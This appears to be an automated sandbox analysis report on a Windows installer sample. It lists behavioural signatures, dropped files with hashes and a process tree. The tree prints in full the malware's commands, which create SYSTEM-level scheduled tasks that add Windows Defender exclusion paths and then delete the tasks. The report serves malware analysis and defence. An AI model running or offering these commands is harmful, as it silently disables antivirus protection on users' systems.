Analysis

  • max time kernel
    145s
  • max time network
    151s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20260513-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows
  • submitted
    05/08/2026, 03:38

General

  • Target
    inst_smt011.exe
  • Size 55.2MB
  • Sample260805-d6341sch44
  • SHA256 d43dc989b04867aa4e23fc7c42aee275d07f9f13814056ea5f7d8b4e9d626269
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Windows security bypass 2 TTPs 2 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 2 IoCs
  • Loads dropped DLL 2 IoCs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Indicator Removal: Clear Persistence 1 TTPs 5 IoCs

    Clear artifacts associated with previously established persistence like scheduletasks on a host.

  • Drops file in System32 directory 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Executes a command shell one-liner 1 TTPs 5 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • Scheduled Task/Job: Scheduled Task 1 TTPs 5 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: LoadsDriver 3 IoCs
  • Suspicious use of WriteProcessMemory 14 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Users\Admin\AppData\Local\Temp\inst_smt011.exe
    "C:\Users\Admin\AppData\Local\Temp\inst_smt011.exe"
    1⤵
    • Suspicious behavior: EnumeratesProcesses
    PID:2116
  • C:\Users\Public\omwDw8\1OcDpx.exe
    C:\Users\Public\omwDw8\1OcDpx.exe
    1⤵
    • Checks computer location settings
    • Executes dropped EXE
    • Loads dropped DLL
    • Adds Run key to start application
    • Drops file in System32 directory
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of WriteProcessMemory
    PID:4860
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\omwDw8\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
      2⤵
      • Indicator Removal: Clear Persistence
      • Suspicious use of WriteProcessMemory
      PID:4640
      • C:\Windows\system32\schtasks.exe
        SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\omwDw8\" /t REG_DWORD /d 0 /f"
        3⤵
        • Scheduled Task/Job: Scheduled Task
        PID:1556
      • C:\Windows\system32\schtasks.exe
        SCHTASKS /Run /TN "Task1"
        3⤵
          PID:4236
        • C:\Windows\system32\schtasks.exe
          SCHTASKS /Delete /TN "Task1" /F
          3⤵
            PID:4376
        • C:\Windows\System32\cmd.exe
          "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
          2⤵
          • Indicator Removal: Clear Persistence
          • Suspicious use of WriteProcessMemory
          PID:3744
          • C:\Windows\system32\schtasks.exe
            SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f"
            3⤵
            • Scheduled Task/Job: Scheduled Task
            PID:2840
          • C:\Windows\system32\schtasks.exe
            SCHTASKS /Run /TN "Task1"
            3⤵
              PID:760
            • C:\Windows\system32\schtasks.exe
              SCHTASKS /Delete /TN "Task1" /F
              3⤵
                PID:3856
            • C:\Windows\System32\cmd.exe
              "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
              2⤵
              • Indicator Removal: Clear Persistence
              • Suspicious use of WriteProcessMemory
              PID:432
              • C:\Windows\system32\schtasks.exe
                SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f"
                3⤵
                • Scheduled Task/Job: Scheduled Task
                PID:4872
              • C:\Windows\system32\schtasks.exe
                SCHTASKS /Run /TN "Task1"
                3⤵
                  PID:3748
                • C:\Windows\system32\schtasks.exe
                  SCHTASKS /Delete /TN "Task1" /F
                  3⤵
                    PID:2852
                • C:\Windows\System32\cmd.exe
                  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
                  2⤵
                  • Indicator Removal: Clear Persistence
                  PID:4892
                  • C:\Windows\system32\schtasks.exe
                    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f"
                    3⤵
                    • Scheduled Task/Job: Scheduled Task
                    PID:1176
                  • C:\Windows\system32\schtasks.exe
                    SCHTASKS /Run /TN "Task1"
                    3⤵
                      PID:4748
                    • C:\Windows\system32\schtasks.exe
                      SCHTASKS /Delete /TN "Task1" /F
                      3⤵
                        PID:1424
                    • C:\Windows\System32\cmd.exe
                      "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"%USERPROFILE%\Documents\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
                      2⤵
                      • Indicator Removal: Clear Persistence
                      PID:3760
                      • C:\Windows\system32\schtasks.exe
                        SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Admin\Documents\" /t REG_DWORD /d 0 /f"
                        3⤵
                        • Scheduled Task/Job: Scheduled Task
                        PID:1992
                      • C:\Windows\system32\schtasks.exe
                        SCHTASKS /Run /TN "Task1"
                        3⤵
                          PID:4176
                        • C:\Windows\system32\schtasks.exe
                          SCHTASKS /Delete /TN "Task1" /F
                          3⤵
                            PID:1568
                      • C:\Windows\system32\cmd.exe
                        cmd.exe /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\omwDw8" /t REG_DWORD /d 0 /f
                        1⤵
                        • Executes a command shell one-liner
                        • Suspicious use of WriteProcessMemory
                        PID:560
                        • C:\Windows\system32\reg.exe
                          reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\omwDw8" /t REG_DWORD /d 0 /f
                          2⤵
                          • Windows security bypass
                          PID:1612
                      • C:\Windows\system32\cmd.exe
                        cmd.exe
                        1⤵
                          PID:1252
                        • C:\Users\Public\omwDw8\1OcDpx.exe
                          "C:\Users\Public\omwDw8\1OcDpx.exe"
                          1⤵
                          • Executes dropped EXE
                          • Loads dropped DLL
                          PID:4396
                        • C:\Windows\system32\cmd.exe
                          cmd.exe /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\ProgramData" /t REG_DWORD /d 0 /f
                          1⤵
                          • Executes a command shell one-liner
                          • Suspicious use of WriteProcessMemory
                          PID:4788
                          • C:\Windows\system32\reg.exe
                            reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\ProgramData" /t REG_DWORD /d 0 /f
                            2⤵
                              PID:2220
                          • C:\Windows\system32\cmd.exe
                            cmd.exe /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users" /t REG_DWORD /d 0 /f
                            1⤵
                            • Executes a command shell one-liner
                            PID:4692
                            • C:\Windows\system32\reg.exe
                              reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users" /t REG_DWORD /d 0 /f
                              2⤵
                                PID:4704
                            • C:\Windows\system32\cmd.exe
                              cmd.exe /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Program Files (x86)" /t REG_DWORD /d 0 /f
                              1⤵
                              • Executes a command shell one-liner
                              PID:1464
                              • C:\Windows\system32\reg.exe
                                reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Program Files (x86)" /t REG_DWORD /d 0 /f
                                2⤵
                                  PID:612
                              • C:\Windows\system32\cmd.exe
                                cmd.exe /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\Documents" /t REG_DWORD /d 0 /f
                                1⤵
                                • Executes a command shell one-liner
                                PID:4576
                                • C:\Windows\system32\reg.exe
                                  reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\Documents" /t REG_DWORD /d 0 /f
                                  2⤵
                                    PID:2552

                                Network

                                      MITRE ATT&CK Enterprise v16

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                                      Downloads

                                      1OcDpx.exe

                                      • Path C:\Users\Public\omwDw8\1OcDpx.exe
                                      • Size 135KB
                                      • SHA256 676a2a7b94ca2f8ec76352ee656e4d075bb342bd7ad6efbc7c19c060001eace7
                                      • MD5 SHA1 SHA512 SSDEEP TLSH

                                      UxEnhance64.dll

                                      • Path C:\Users\Public\omwDw8\UxEnhance64.dll
                                      • Size 3.1MB
                                      • SHA256 90a14cc7614560274e2e51557fe33edb3322f1ee5673169b56e5d994817dc660
                                      • MD5 SHA1 SHA512 SSDEEP TLSH

                                      adoresd.dat

                                      • Path C:\Users\Public\omwDw8\adoresd.dat
                                      • Size 4.7MB
                                      • SHA256 5e4f64eb5abefb8c19d6d8e91a01e91a42caa95a6354c09380a26a4eb7aaa482
                                      • MD5 SHA1 SHA512 SSDEEP TLSH

                                      msadox.tb

                                      • Path C:\Users\Public\omwDw8\msadox.tb
                                      • Size 8KB
                                      • SHA256 084ab8c94411ed53d625626b82a463cd78ca855eaf3a73fa0c6716759f662c91
                                      • MD5 SHA1 SHA512 SSDEEP TLSH

                                      memory/2116-524-0x00000000001F0000-0x00000000001FD000-memory.dmp

                                      memory/2116-2-0x0000000005660000-0x000000000566B000-memory.dmp

                                      memory/2116-1-0x00000000001F0000-0x00000000001FD000-memory.dmp

                                      memory/2116-504-0x00007FF987630000-0x00007FF987640000-memory.dmp

                                      memory/2116-525-0x00007FF987630000-0x00007FF987640000-memory.dmp

                                      memory/2116-0-0x00000000001F0000-0x00000000001FD000-memory.dmp

                                      memory/4396-590-0x0000021F94DA0000-0x0000021F95631000-memory.dmp

                                      memory/4396-591-0x0000021F94DA0000-0x0000021F95631000-memory.dmp

                                      memory/4396-570-0x00007FF973540000-0x00007FF973A5E000-memory.dmp

                                      memory/4396-594-0x0000021F94DA0000-0x0000021F95631000-memory.dmp

                                      memory/4396-595-0x00007FF990930000-0x00007FF990932000-memory.dmp

                                      memory/4396-589-0x0000021F94DA0000-0x0000021F95631000-memory.dmp

                                      memory/4396-584-0x00007FF990940000-0x00007FF990942000-memory.dmp

                                      memory/4396-585-0x0000021F94DA0000-0x0000021F95631000-memory.dmp

                                      memory/4396-576-0x0000021F94DA0000-0x0000021F95631000-memory.dmp

                                      memory/4860-531-0x00007FF973540000-0x00007FF973A5E000-memory.dmp

                                      memory/4860-559-0x0000028352780000-0x000002835280A000-memory.dmp

                                      memory/4860-558-0x0000028352780000-0x000002835280A000-memory.dmp

                                      memory/4860-557-0x0000028352780000-0x000002835280A000-memory.dmp

                                      memory/4860-561-0x0000028351A80000-0x0000028352311000-memory.dmp

                                      memory/4860-556-0x0000028352780000-0x000002835280A000-memory.dmp

                                      memory/4860-555-0x000002834F880000-0x000002834F8CE000-memory.dmp

                                      memory/4860-563-0x0000028351A80000-0x0000028352311000-memory.dmp

                                      memory/4860-550-0x0000028351A80000-0x0000028352311000-memory.dmp

                                      memory/4860-545-0x0000028351A80000-0x0000028352311000-memory.dmp

                                      memory/4860-544-0x0000028351A80000-0x0000028352311000-memory.dmp

                                      memory/4860-546-0x0000028351A80000-0x0000028352311000-memory.dmp

                                      memory/4860-543-0x0000028351A80000-0x0000028352311000-memory.dmp

                                      memory/4860-538-0x00007FF990940000-0x00007FF990942000-memory.dmp

                                      memory/4860-539-0x0000028351A80000-0x0000028352311000-memory.dmp

                                      memory/4860-536-0x0000028351A80000-0x0000028352311000-memory.dmp

                                      memory/4860-530-0x00007FF990930000-0x00007FF990932000-memory.dmp